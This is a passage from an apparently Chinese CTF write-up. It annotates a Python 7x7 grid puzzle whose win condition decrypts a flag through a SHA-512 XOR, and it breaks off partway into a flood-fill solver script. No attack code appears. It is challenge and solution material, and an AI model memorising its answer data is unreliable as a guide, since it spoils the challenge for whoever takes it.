(<span class="number">0</span>,<span class="number">2</span>) <span class="keyword">for</span> h <span class="keyword">in</span> v[<span class="number">1</span>:]):</span><br><span class="line">                        p=<span class="number">0</span></span><br><span class="line">        <span class="keyword">if</span> p:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;Correct!&quot;</span>)</span><br><span class="line">            decrypt_flag(g)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;Incorrect!&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这段源码实现了一个基于终端的<strong>逻辑解谜游戏</strong>（类似于拼图或涂色游戏）。玩家需要在一个 $7 \times 7$ 的网格中切换单元格的状态（<code>_</code> 或 <code>#</code>），使得每个连通区域内包含特定数量的标记点。</p><p>以下是详细的代码注释和逻辑分析：</p><hr><h2 id="1-初始化与环境配置"><a href="#1-初始化与环境配置" class="headerlink" title="1. 初始化与环境配置"></a>1. 初始化与环境配置</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/local/bin/python3</span></span><br><span class="line"><span class="keyword">import</span> tty</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果是在终端环境下运行，将输入模式设置为 cbreak</span></span><br><span class="line"><span class="comment"># 这样不需要按回车键，程序就能直接读取每一个按键</span></span><br><span class="line"><span class="keyword">if</span> sys.stdin.isatty():</span><br><span class="line">    tty.setcbreak(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># f: 初始网格状态（不可变的部分标记）</span></span><br><span class="line"><span class="comment"># g: 当前网格状态（玩家操作的对象），初始化为 f 的副本</span></span><br><span class="line">g=(f:=[<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>])[:]</span><br><span class="line"></span><br><span class="line"><span class="comment"># n: 校验数组，存储了网格中每个点的“属性值”（0, 1, 2, 3）</span></span><br><span class="line">n=[<span class="number">1</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">2</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">3</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">3</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">2</span>,<span class="number">2</span>,<span class="number">2</span>,<span class="number">0</span>,<span class="number">0</span>]</span><br></pre></td></tr></table></figure><h2 id="2-核心功能函数"><a href="#2-核心功能函数" class="headerlink" title="2. 核心功能函数"></a>2. 核心功能函数</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 解密 Flag：当玩家获胜时，用当前的网格状态 g 作为密钥解密并打印结果</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decrypt_flag</span>(<span class="params">k</span>):</span><br><span class="line">    h=hashlib.sha512(<span class="built_in">str</span>(k).encode()).digest()</span><br><span class="line">    <span class="comment"># 目标密文（十六进制）与哈希值进行 XOR 异或运算</span></span><br><span class="line">    cipher = <span class="string">&quot;8b1e35ac3da64cb9db365e529ad8c9496388a4f499faf887386b4f6c43b616aae990f17c1b1f34af514800275673e0f3c689c0998fc73c342f033aa7cc69d199&quot;</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="built_in">bytes</span>(a^b <span class="keyword">for</span>(a,b)<span class="keyword">in</span> <span class="built_in">zip</span>(h,<span class="built_in">bytes</span>.fromhex(cipher))).decode())</span><br><span class="line"></span><br><span class="line"><span class="comment"># 移动映射表：w, s, a, d 对应坐标的变化</span></span><br><span class="line">m=&#123;<span class="string">&#x27;w&#x27;</span>:(-<span class="number">1</span>,<span class="number">0</span>),<span class="string">&#x27;s&#x27;</span>:(<span class="number">1</span>,<span class="number">0</span>),<span class="string">&#x27;a&#x27;</span>:(<span class="number">0</span>,-<span class="number">1</span>),<span class="string">&#x27;d&#x27;</span>:(<span class="number">0</span>,<span class="number">1</span>)&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 递归函数 t：使用深度优先搜索 (DFS) 寻找当前坐标 (a,b) 所在的颜色相同的连通区域</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">t</span>(<span class="params">a,b,s=<span class="literal">None</span></span>):</span><br><span class="line">    <span class="keyword">if</span> s <span class="keyword">is</span> <span class="literal">None</span>: s = <span class="built_in">set</span>()</span><br><span class="line">    s.add((a,b))</span><br><span class="line">    <span class="keyword">for</span>(i,j)<span class="keyword">in</span> m.values():</span><br><span class="line">        x,y=a+i,b+j</span><br><span class="line">        <span class="comment"># 检查边界，并确保相邻格子的值（0或1）与当前格子相同</span></span><br><span class="line">        <span class="keyword">if</span> (x,y) <span class="keyword">not</span> <span class="keyword">in</span> s <span class="keyword">and</span> x <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>) <span class="keyword">and</span> y <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>) <span class="keyword">and</span> g[x*<span class="number">7</span>+y]==g[a*<span class="number">7</span>+b]:</span><br><span class="line">            t(x,y,s)</span><br><span class="line">    <span class="keyword">return</span> s</span><br></pre></td></tr></table></figure><h2 id="3-游戏主循环"><a href="#3-游戏主循环" class="headerlink" title="3. 游戏主循环"></a>3. 游戏主循环</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line">a,b=<span class="number">0</span>,<span class="number">0</span> <span class="comment"># 玩家当前光标的坐标 (row, col)</span></span><br><span class="line">d=<span class="number">1</span>     <span class="comment"># 刷新标志位，d=1 时重新绘制界面</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line">    <span class="keyword">if</span> d:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;\x1b[2J&quot;</span>) <span class="comment"># ANSI 转义码：清屏</span></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">            <span class="comment"># 绘制行首的光标指示器</span></span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot; [&quot;</span>[(a,b)==(i,<span class="number">0</span>)], end=<span class="string">&quot;&quot;</span>)</span><br><span class="line">            <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">                <span class="comment"># 绘制单元格：0 对应 _，1 对应 #</span></span><br><span class="line">                char = <span class="string">&quot;_#&quot;</span>[g[i*<span class="number">7</span>+j]]</span><br><span class="line">                <span class="comment"># 绘制单元格右侧的光标指示器</span></span><br><span class="line">                <span class="built_in">print</span>(char, end=<span class="string">&quot;[&quot;</span> <span class="keyword">if</span>(a,b)==(i,j+<span class="number">1</span>) <span class="keyword">else</span> <span class="string">&quot; ]&quot;</span>[(a,b)==(i,j)])</span><br><span class="line">            <span class="built_in">print</span>()</span><br><span class="line">        d=<span class="number">0</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 读取输入</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        c=sys.stdin.read(<span class="number">1</span>)</span><br><span class="line">        <span class="keyword">if</span> c == <span class="string">&quot;&quot;</span>: <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">except</span> EOFError: <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> c==<span class="string">&#x27;q&#x27;</span>: <span class="keyword">break</span> <span class="comment"># 退出</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 按 &#x27;x&#x27; 键切换当前格子的状态</span></span><br><span class="line">    <span class="keyword">elif</span> c==<span class="string">&#x27;x&#x27;</span>:</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> f[i:=a*<span class="number">7</span>+b]: <span class="comment"># 只有初始为 0 的格子才能被玩家修改</span></span><br><span class="line">            g[i]=<span class="number">1</span>-g[i]</span><br><span class="line">            d=<span class="number">1</span></span><br><span class="line">            </span><br><span class="line">    <span class="comment"># 按 WASD 移动光标</span></span><br><span class="line">    <span class="keyword">elif</span> v:=m.get(c):</span><br><span class="line">        i,j=a+v[<span class="number">0</span>],b+v[<span class="number">1</span>]</span><br><span class="line">        <span class="keyword">if</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>) <span class="keyword">and</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">            a,b=i,j</span><br><span class="line">            d=<span class="number">1</span></span><br><span class="line">            </span><br><span class="line">    <span class="comment"># 按 &#x27;c&#x27; 键检查是否通关</span></span><br><span class="line">    <span class="keyword">elif</span> c==<span class="string">&#x27;c&#x27;</span>:</span><br><span class="line">        p=<span class="number">1</span></span><br><span class="line">        s=<span class="built_in">set</span>() <span class="comment"># 记录已处理过的格子</span></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">            <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">                <span class="keyword">if</span>(i,j)<span class="keyword">not</span> <span class="keyword">in</span> s:</span><br><span class="line">                    v=[<span class="number">0</span>]*<span class="number">4</span> <span class="comment"># 统计当前连通块中 n 数组各个值的出现次数</span></span><br><span class="line">                    k=t(i,j) <span class="comment"># 获取整个连通区域</span></span><br><span class="line">                    s|=k</span><br><span class="line">                    <span class="keyword">for</span>(x,y)<span class="keyword">in</span> k:</span><br><span class="line">                        v[n[x*<span class="number">7</span>+y]]+=<span class="number">1</span></span><br><span class="line">                    <span class="comment"># 胜利条件逻辑：</span></span><br><span class="line">                    <span class="comment"># 对于 n[i] &gt; 0 的标记点（1, 2, 3），在同一个连通区域内，</span></span><br><span class="line">                    <span class="comment"># 它们的出现次数必须要么是 0 次，要么是刚好 2 次</span></span><br><span class="line">                    <span class="keyword">if</span> <span class="built_in">any</span>(h <span class="keyword">not</span> <span class="keyword">in</span> (<span class="number">0</span>,<span class="number">2</span>) <span class="keyword">for</span> h <span class="keyword">in</span> v[<span class="number">1</span>:]):</span><br><span class="line">                        p=<span class="number">0</span></span><br><span class="line">        <span class="keyword">if</span> p:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;Correct!&quot;</span>)</span><br><span class="line">            decrypt_flag(g)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;Incorrect!&quot;</span>)</span><br></pre></td></tr></table></figure><hr><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><ol><li><strong>目标</strong>：通过 <code>x</code> 键切换格子的状态（黑 <code>#</code> 或 白 <code>_</code>）。</li><li><strong>规则</strong>：当你按下 <code>c</code> 校验时，程序会扫描所有的连通色块。对于数组 <code>n</code> 中定义的所有非零属性点（即某些特定的格子位置），如果它们被划分到了同一个色块里，那么在该色块中，每种属性值的点必须刚好成对出现（2个）。</li><li><strong>操作</strong>：<ul><li><code>w/a/s/d</code>: 移动光标 <code>[</code> <code>]</code>。</li><li><code>x</code>: 翻转当前格子的颜色（初始格子不可变）。</li><li><code>c</code>: 验证结果，正确则输出 Flag。</li><li><code>q</code>: 退出游戏。</li></ul></li></ol><p><img src="../../attachments/image-20260206170447694.png" alt=""></p><p>网格中的一个单元格被 包裹<code>[]</code>。尝试不同的按键组合，可以发现各种控制方式：</p><ul><li>按键<code>WASD</code>使光标（用 表示<code>[]</code>）沿垂直方向移动。</li><li>该<code>X</code>键可将<code>_</code>光标高亮显示的元素更改为 a <code>#</code>，反之亦然（值得注意的是，它不会更改<code>#</code>网格上原本就有的 s）。</li><li>按下该<code>C</code>键会吐出一个<code>Incorrect!</code>（这很可能是用来检查我们在解谜过程中的答案的）。</li><li>最后，按下<code>Q</code>密钥即可退出程序。</li></ul><h2 id="关键数据结构"><a href="#关键数据结构" class="headerlink" title="关键数据结构"></a>关键数据结构</h2><h3 id="棋盘"><a href="#棋盘" class="headerlink" title="棋盘"></a>棋盘</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">g=(f:=[<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>])[:]</span><br></pre></td></tr></table></figure><p>这是 7×7=49 个格子，按<strong>行优先展开</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">g[x*7 + y]  &lt;--&gt;  第 x 行，第 y 列</span><br></pre></td></tr></table></figure><p><code>1 = 墙/#</code><br> <code>0 = 地/空/_</code></p><p>你可以用 WASD 移动光标，用 <code>x</code> 翻转当前格子（但某些格子不能翻）。</p><h3 id="f：不可翻转掩码"><a href="#f：不可翻转掩码" class="headerlink" title="f：不可翻转掩码"></a><code>f</code>：<strong>不可翻转掩码</strong></h3><p><code>f[i] == 1</code> 表示这个格子<strong>锁死不能改</strong>。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">elif c==&#x27;x&#x27;:</span><br><span class="line">    if not f[i := a*7+b]:</span><br><span class="line">        g[i] = 1 - g[i]</span><br></pre></td></tr></table></figure><p>也就是说：<br> 你只能修改 <code>f[i] = 0</code> 的位置。</p><p>这是<strong>约束条件之一</strong>。</p><h3 id="n：区域类型标签"><a href="#n：区域类型标签" class="headerlink" title="n：区域类型标签"></a><code>n</code>：<strong>区域类型标签</strong></h3><p><code>n</code> 也是长度 49 的列表，每个格子有一个“区域编号”：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">n = [1,1,0,0,0,0,0,0,1,0,2,0, ...]</span><br></pre></td></tr></table></figure><p>作用会在后面 <code>c</code> 检查里体现。</p><h2 id="核心检查"><a href="#核心检查" class="headerlink" title="核心检查"></a>核心检查</h2><p>按 <code>c</code> 时执行：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">elif c==&#x27;c&#x27;:</span><br></pre></td></tr></table></figure><p>进入<strong>正确性检测</strong>。</p><hr><h3 id="找连通区域"><a href="#找连通区域" class="headerlink" title="找连通区域"></a>找连通区域</h3><p>函数：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">def t(a,b,s=None):</span><br></pre></td></tr></table></figure><p>本质是<strong>洪水填充（Flood Fill）/ DFS 连通搜索</strong>：</p><p>它会找到所有和 <code>(a,b)</code> <strong>同值（同为 0 或同为 1）且上下左右相连</strong>的格子，返回一个集合 <code>k</code>。</p><p>也就是说：它把棋盘分解成了多个<strong>连通区域</strong>（connected components）。</p><h3 id="对每个区域做统计"><a href="#对每个区域做统计" class="headerlink" title="对每个区域做统计"></a>对每个区域做统计</h3><p>核心代码：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">for (x,y) in k:</span><br><span class="line">    v[n[x*7+y]] += 1</span><br></pre></td></tr></table></figure><p>这里：</p><ul><li><code>k</code> = 一个连通区域</li><li><code>n[x*7+y]</code> = 该格子的类别</li><li><code>v</code> 是长度 4 的计数器（索引 0~3）</li></ul><p>然后检查：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">if any(h not in (0,2) for h in v[1:]):</span><br><span class="line">    p = 0</span><br></pre></td></tr></table></figure><p><strong>关键约束：</strong>对于<strong>每个连通区域</strong>：</p><ul><li>在类别 <strong>1、2、3</strong> 中，每一类的格子数必须是 <strong>0 或 2</strong></li><li>不能是 1、3、4…… 只能是 <strong>0 或 2</strong></li></ul><p>也就是说：</p><blockquote><p>✅ 每个连通块里：</p><ul><li>要么没有某类格子</li><li>要么<strong>恰好有 2 个</strong></li></ul></blockquote><p>这是一个<strong>成对匹配约束</strong>。</p><hr><h2 id="成功条件"><a href="#成功条件" class="headerlink" title="成功条件"></a>成功条件</h2><p>如果所有区域都满足上面规则：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">print(&quot;Correct!&quot;)</span><br><span class="line">decrypt_flag(g)</span><br></pre></td></tr></table></figure><p>就会把当前棋盘 <code>g</code> 作为密钥 <code>k</code>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">h = sha512(str(k)).digest()</span><br><span class="line">flag = h XOR &lt;固定密文&gt;</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line">sys.setrecursionlimit(<span class="number">10000</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># ================== 题目原始数据 ==================</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 初始固定格子（1 = 不可翻的 #）</span></span><br><span class="line">f = [<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,</span><br><span class="line">     <span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,</span><br><span class="line">     <span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,</span><br><span class="line">     <span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,</span><br><span class="line">     <span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,</span><br><span class="line">     <span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,</span><br><span class="line">     <span class="number">1</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># 每个格子的标签（0/1/2/3）</span></span><br><span class="line">n = [<span class="number">1</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,</span><br><span class="line">     <span class="number">1</span>,<span class="number">0</span>,<span class="number">2</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,</span><br><span class="line">     <span class="number">3</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,</span><br><span class="line">     <span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,</span><br><span class="line">     <span class="number">3</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,</span><br><span class="line">     <span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">2</span>,<span class="number">2</span>,<span class="number">2</span>,<span class="number">0</span>,</span><br><span class="line">     <span class="number">0</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># 四个方向</span></span><br><span class="line">dirs = [(-<span class="number">1</span>,<span class="number">0</span>),(<span class="number">1</span>,<span class="number">0</span>),(<span class="number">0</span>,-<span class="number">1</span>),(<span class="number">0</span>,<span class="number">1</span>)]</span><br><span class="line"></span><br><span class="line"><span class="comment"># ================== flood fill ==================</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">flood_fill</span>(<span class="params">grid, x, y</span>):</span><br><span class="line">    stack = [(x,y)]</span><br><span class="line">    comp = <span class="built_in">set</span>()</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> stack:</span><br><span class="line">        a,b = stack.pop()</span><br><span class="line">        <span class="keyword">if</span> (a,b) <span class="keyword">in</span> comp:</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        comp.add((a,b))</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> dx,dy <span class="keyword">in</span> dirs:</span><br><span class="line">            nx, ny = a+dx, b+dy</span><br><span class="line">            <span class="keyword">if</span> <span class="number">0</span> &lt;= nx &lt; <span class="number">7</span> <span class="keyword">and</span> <span class="number">0</span> &lt;= ny &lt; <span class="number">7</span>:</span><br><span class="line">                <span class="keyword">if</span> (nx,ny) <span class="keyword">not</span> <span class="keyword">in</span> comp <span class="keyword">and</span> grid[nx*<span class="number">7</span>+ny] == grid[a*<span class="number">7</span>+b]:</span><br><span class="line">                    stack.append((nx,ny))</span><br><span class="line">    <span class="keyword">return</span> comp</span><br><span class="line"></span><br><span class="line"><span class="comment"># ================== 